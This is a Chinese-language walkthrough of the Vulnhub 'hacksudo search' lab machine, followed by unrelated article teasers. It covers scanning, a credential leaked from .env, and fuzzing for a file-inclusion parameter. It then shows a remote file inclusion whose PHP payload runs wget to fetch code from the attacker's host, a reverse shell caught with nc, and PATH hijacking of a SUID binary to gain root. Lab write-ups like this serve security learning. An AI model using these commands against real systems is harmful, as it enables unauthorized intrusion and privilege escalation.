Vulnhub:hacksudo search

靶机下载地址。下载完成后,在VirtualBox中导入虚拟机,系统处理器修改为2,网卡配置修改为桥接。

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.218

端口扫描

nmap 192.168.31.218 -A -p- -T4

开放了22,80端口。

目录扫描

访问http服务,首页显示是一个搜索引擎。测试发现点击search后跳转到/search.php,其实就是拼接到谷歌url后通过谷歌搜索,没什么信息。

 dirsearch目录扫描。

dirsearch -u http://192.168.31.218

访问/.env,得到一个数据库用户名和密码:

hiraman:MyD4dSuperH3r0!

访问/robots.txt,提示还有其他搜索页面。

换个字典再扫描。

gobuster dir -u http://192.168.31.218 -w directory-list-2.3-small.txt -x html,php,js,jpg,png,txt

成功找到另一个搜索页面/search1.php。

渗透

文件包含漏洞

访问serach1.php,页面对比发现search.php多了一个topnav盒子。

F12检查元素发现三个参数find,Me,FUZZ,看这个样子可以考虑文件包含。测试后发现不是这三个参数。

是否还有其他参数。WFUZZ工具模糊测试参数。

wfuzz -c -u http://192.168.31.218/search1.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --hw 288

得到参数me。

search1.php?me=/etc/passwd 通过passwd文件发现几个用户hacksudo,monail,john,search。

getshell

利用远程文件包含漏洞getshell。在攻击机创建两个文件,分别是exec.php,test.php。文件包含exec.php,让靶机下载test.php。

# exec.php
<?php system('wget http://192.168.31.219:8000/test.php'); ?>

test.php的内容就是反弹shell代码(直接用kali自带的即可)。

在文件所在目录开启简易http服务python -m http.server,然后包含exec.php。

可以看到靶机访问了我们准备好的两个php文件。

nc开启监听,访问test.php即可等待监听上线。

getshell

# 交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

当前用户权限低,什么都看不了,最后看wp知道原来/.env里面的密码就是hacksudo的密码,直接切换到hacksudo用户。

get user.txt!

suid提权

找suid权限的文件。

find / -perm -u=s -type f 2>/dev/null

其中/home/hacksudo/search/tools/searchinstall值得关注。

进入后查看searchinstall.c发现其实就是使用了install命令。

GTFOBins查一下install命令如何提权。

export    //新增,删除,修改,显示当前系统定义的所有环境变量
$PATH	  //仅查看当前运行命令的查找路径,以:分割不同路径

提权步骤:

1、tmp目录下创建一个install。

2、赋予该文件执行权限并使用export命令将install添加进PATH中。

PATH提供的多个路径中,排在前面的会优先进行搜索,所以这里是export PATH=/tmp:$PATH。扩展:export命令修改PATH的生效时间:立即生效;生效期限:当前终端有效,窗口关闭后无效;生效范围:仅对当前用户有效。

echo '/bin/bash' > install
chmod 777 install
export PATH=/tmp:$PATH

执行searchinstall,获得root权限。

get root.txt!🎆

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1522234.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

大数据采集迁移工具

Flume Sqoop kafka框架 MQ&#xff1a;消息队列 broker相当于服务器 消息队列

视频化时代,用好AIGC产品赋能企业培训打造增效降本“最佳实践”

根据IBM的数据&#xff0c;85%的中国企业正在加速投资AI领域&#xff0c;其中超过63%的企业已积极采用生成式AI。德勤的调研进一步显示&#xff0c;近80%的全球受访企业高管认为&#xff0c;生成式AI的兴起与发展将在3年内推动组织和行业发生实质性变革&#xff0c;这也就意味着…

2024爆火全网大模型书籍:《从零构建大型语言模型》星标17.8k

2024爆火全网大模型书籍&#xff1a;《从零构建大型语言模型》星标17.8k 近期&#xff0c;机器学习和 AI 研究员、畅销书《Python 机器学习》作者 Sebastian Raschka 又写了一本新书 ——《Build a Large Language Model (From Scratch)》&#xff0c;旨在讲解从头开始构建大型…

线性代数 -- 矩阵求导

Tips&#xff1a;本文为理解神经网络的前置知识&#xff0c;整体内容并不全&#xff0c;相关内容还需后续进一步完善。 一、基础 1、标量、向量和矩阵 标量&#xff1a;只有大小&#xff0c;没有方向的量 向量&#xff08;欧几里得向量&#xff09;&#xff1a;具有大小和方向…

数仓建模:一文带你读懂什么是数仓建模? | 详聊数据建模的几种形式

目录 1 数据仓库的特点和意义 1.1 数仓特点 1.2 数仓形态演进 1.3 数仓建模的意义 1.4 数仓价值 2 数仓建模流派之争 2.1 Inmon数仓架构 2.2 Kimball数仓架构 2.3 两种建模方式对比分析 3 数仓建模流程 3.1 整体流程 3.2 数仓建模三步调研 3.3 业务流程构建 3.4 领…

MySQL的服务器与客户端:架构解析与实践

文章目录 MySQL的服务器和客户端服务端处理客户端请求连接管理解析与优化查询缓存语法解析查询优化 存储引擎不同的存储引擎查看支持的存储引擎为不同的表设置存储引擎 MySQL是一个广泛使用的开源关系数据库管理系统&#xff0c;其核心架构由服务器端和客户端两大部分组成。本文…

Tableau 社区项目 | 参与 Data+TV 挑战,洞悉全球电视剧集数据的精彩故事!

如果你钟爱某部电视剧集&#xff0c;正苦于没有数据练手&#xff0c;就快来参与 DataTV 挑战吧~ 去年&#xff0c;Tableau 和 IMDb 携手发起 DataMovies 挑战&#xff0c;吸引了全球各地的数据爱好者与影迷参与。今年&#xff0c;TC24 Viz 竞赛也以此为主题&#xff0c;让我们领…

LLM大模型学习路径指南速成,两月学完

大家好&#xff01;整理了一些我的大模型学习路线和参考资料&#xff0c;供初学者入门了解和实践 以下是简化版的学习路线&#xff1a; 第1周&#xff1a;基础知识储备 了解人工智能和大模型的基本概念。 学习线性代数、概率论和统计学的基本知识。 掌握Python编程基础。 第2…

获取响应头Content-Disposition,提取文件名

// 响应头数据&#xff0c;这里使用假数据 const temp "attachement;filename%%%%%%......."// 处理文件名的正则校验let filenameRegex /filename[^;\n]*((["]).*?\2|[^;\n]*)/;let matches filenameRegex.exec(temp);let fileName "批量下载.pdf&qu…

【论文分享】sNPU: Trusted Execution Environments on Integrated NPUs 24‘ISCA

目录 AbstractINTRODUCTIONBACKGROUND AND RELATED WORKTrusted Execution Environment (TEE)Neural Processing Unit (NPU)Integrated NPU v.s. Discrete NPU Multi-tasking Requirements for NPUsLow NPU utilization for a single ML workloadSimultaneous execution of bot…

两行代码开启大模型评测之旅!OpenCompass 工具版本全面更新,快来试试看

作为 OpenCompass 司南大模型评测体系三大核心模块之一的评测工具链体系 CompassKit 近日迎来重大更新&#xff01;​ 本次更新主要集中在 OpenCompass 大语言模型评测工具&#xff0c;主要带来了以下几大新功能&#xff0c;欢迎大家使用&#xff01;​ 基于 pip 的一键安装&a…

分类预测|基于CNN-LSTM-Attention卷积-长短时记忆-注意力数据分类Matlab程序 直接运行程序或替换数据集运行程序

分类预测|基于CNN-LSTM-Attention卷积-长短时记忆-注意力数据分类Matlab程序 直接运行程序或替换数据集运行程序 文章目录 一、基本原理1. 卷积神经网络&#xff08;CNN&#xff09;CNN的基本步骤&#xff1a; 2. 长短期记忆网络&#xff08;LSTM&#xff09;LSTM的基本步骤&am…

屏幕像素初步认识

屏幕分辨率&#xff1a; 屏幕分辨率是指显示器所能显示的像素的总数&#xff0c;通常以水平像素数乘以垂直像素数来表示&#xff0c;例如1920x1080。这个数字越大&#xff0c;屏幕显示的图像就越清晰&#xff0c;细节展现得也更加丰富。 像素&#xff08;Pixel&#xff09;&am…

【Linux】使用Linux实现小程序 - 进度条

目录 一、缓冲区二、回车换行的概念三、进度条的设计3.1 版本1&#xff08;没有配合场景&#xff09;3.2 版本2&#xff08;配合场景&#xff09;3.3 版本3&#xff08;美化进度条&#xff09; 结尾 一、缓冲区 C/C语言&#xff0c;会针对标准输出&#xff0c;给我们提供默认的…

【转变之旅】从程序员到AI绘画艺术家,我的月入过万之路

曾经&#xff0c;我的生活平淡如水&#xff0c;作为一名程序员&#xff0c;每天重复着朝九晚五的工作。然而&#xff0c;一场突如其来的裁员&#xff0c;让我陷入了失业的深渊。为了生活&#xff0c;我选择了开滴滴谋生。没想到&#xff0c;这个看似权宜之计的决定&#xff0c;…

智慧医院必备信息化系统之——LIS系统源码

检验医学是一门临床学科&#xff0c;它运用不断发展的自然科学和医学科学技术对患者血液、尿液和各种体液标本进行检验&#xff0c;并以发展检验技术、提高检验质量为重点&#xff0c;达到对患者疾病的诊断、病情观察和预后判断等目的。为了将医院的整个检验管理完全数字化、信…

机器学习面试:LR和线性回归的区别是什么?

在机器学习和统计学中&#xff0c;逻辑回归&#xff08;Logistic Regression&#xff0c;简称LR&#xff09;和线性回归&#xff08;Linear Regression&#xff09;是两种常用的回归分析方法&#xff0c;它们在目的、输出、应用场景等方面有显著的区别。以下是它们的主要区别&a…

Vue3 数据通信

一、基本概念 数据在 vue 中是单向流动的&#xff0c;有利于管理数据状态和变化。 而在日常组件开发中&#xff0c;难以避免组件之间的数据通信。组件通信可以分为不同的场景&#xff0c;例如父子组件通信、兄弟组件通信、跨层级组件通信等。 Vue3 提供了多种方式进行组件间的…

基于深度学习的水稻病害虫检测设计与实现

目录 需要本项目的可以私信博主 摘要 1.绪论 1.1 选题背景和研究意义 1.2 国内外研究现状分析 1.3 研究目标与内容 2.相关技术和理论基础 2.1 卷积神经网络&#xff08;CNN&#xff09; 2.1迁移学习 3.1相关技术栈 3.2 数据预处理 3.3深度学习模型的训练与优化 3.3.…

Unity(2022.3.41LTS) - UI详细介绍-Scrollbar(滚动条)

目录 零.简介 一、基本功能与用途 二、组件介绍 三、使用方法 四、优化和注意事项 五.和滑动条的区别 零.简介 在 Unity 中&#xff0c;滚动条&#xff08;Scrollbar&#xff09;是一种用于实现滚动功能的 UI 组件。 一、基本功能与用途 滚动内容&#xff1a;主要用于…